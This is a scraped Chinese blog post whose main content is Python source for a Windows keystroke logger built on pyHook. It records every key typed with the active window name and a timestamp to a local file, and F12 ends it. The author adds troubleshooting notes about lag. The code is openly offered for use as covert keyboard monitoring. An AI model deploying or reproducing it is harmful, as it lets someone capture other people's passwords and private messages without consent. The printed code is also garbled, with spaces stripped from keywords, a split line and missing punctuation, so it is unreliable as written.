pyhooks方法实现键盘监控源码示例

来源:互联网 发布:最容易学的编程语言 编辑:程序博客网 时间:2024/06/03 19:47

pyhooks方法实现键盘监控源码示例,pyhooks实现键盘监控,F12终止程序


第一次运行时,提示没有安装pythoncom模块;承后安装了pywin32,安装后可以正常运行。
这里会遇到一个问题就是可能会导致机器发卡,特别是在中断程序运行之后。你会发现鼠标会出现一段时间的自由晃动(好奇怪哦...)后来找不到原因感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。
我也在网上搜索了这个问题的解决方法,看到有一帖子说是:pythoncom.PumpMessages(n),这个n表示延迟时间,我就试着小小的修改了一下,效果还是有的,但没有预想的那么好。后来又想到,会不会是因为没有终止程序,才会导致一直很卡呢?
这样我就又添加了一个终止程序语句:win32api.PostQuitMessage()

这个结果还算满意!pyhooks方法实现键盘监控源码示例源码如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding: cp936 -*-
importpythoncom 
importpyHook 
importtime
importwin32api
t=''
asciistr=''
keystr=''
defonKeyboardEvent(event):  
    globalt,asciistr,keystr
    filename='d://test.txt'
    wrfile=open(filename,'ab')
    "处理键盘事件"
    ift==str(event.WindowName):
        asciistr=asciistr+chr(event.Ascii)
        keystr=keystr+str(event.Key)
         
    else:
        t=str(event.WindowName)
        ifasciistr=='' and keystr=='':
            wrfile.writelines("\nWindow:%s\n"% str(event.Window))
            wrfile.writelines("WindowName:%s\n"% str(event.WindowName))#写入当前窗体名
            wrfile.writelines("MessageName:%s\n"% str(event.MessageName))
            wrfile.writelines("Message:%d\n"% event.Message)
            wrfile.writelines("Time:%s\n"% time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
        else:
            wrfile.writelines("Ascii_char:%s\n"%asciistr)
            wrfile.writelines("Key_char:%s\n"%keystr)
            wrfile.writelines("\nWindow:%s\n"% str(event.Window))
            wrfile.writelines("WindowName:%s\n"% str(event.WindowName))#写入当前窗体名
            wrfile.writelines("Time:%s\n"% time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
         
        asciistr=chr(event.Ascii)
        keystr=str(event.Key)
    ifstr(event.Key)=='F12'#按下F12后终止
        wrfile.writelines("Ascii_char:%s\n"%asciistr)
        wrfile.writelines("Key_char:%s\n"%keystr)
        wrfile.close()   
        win32api.PostQuitMessage()
         
    returnTrue   
 
if__name__ =="__main__":
   
 
    #创建hook句柄 
    hm=pyHook.HookManager() 
 
    #监控键盘 
    
m.KeyDown=onKeyboardEvent 
    hm.HookKeyboard() 
 
    #循环获取消息 
    pythoncom.PumpMessages(10000

0 0
原创粉丝点击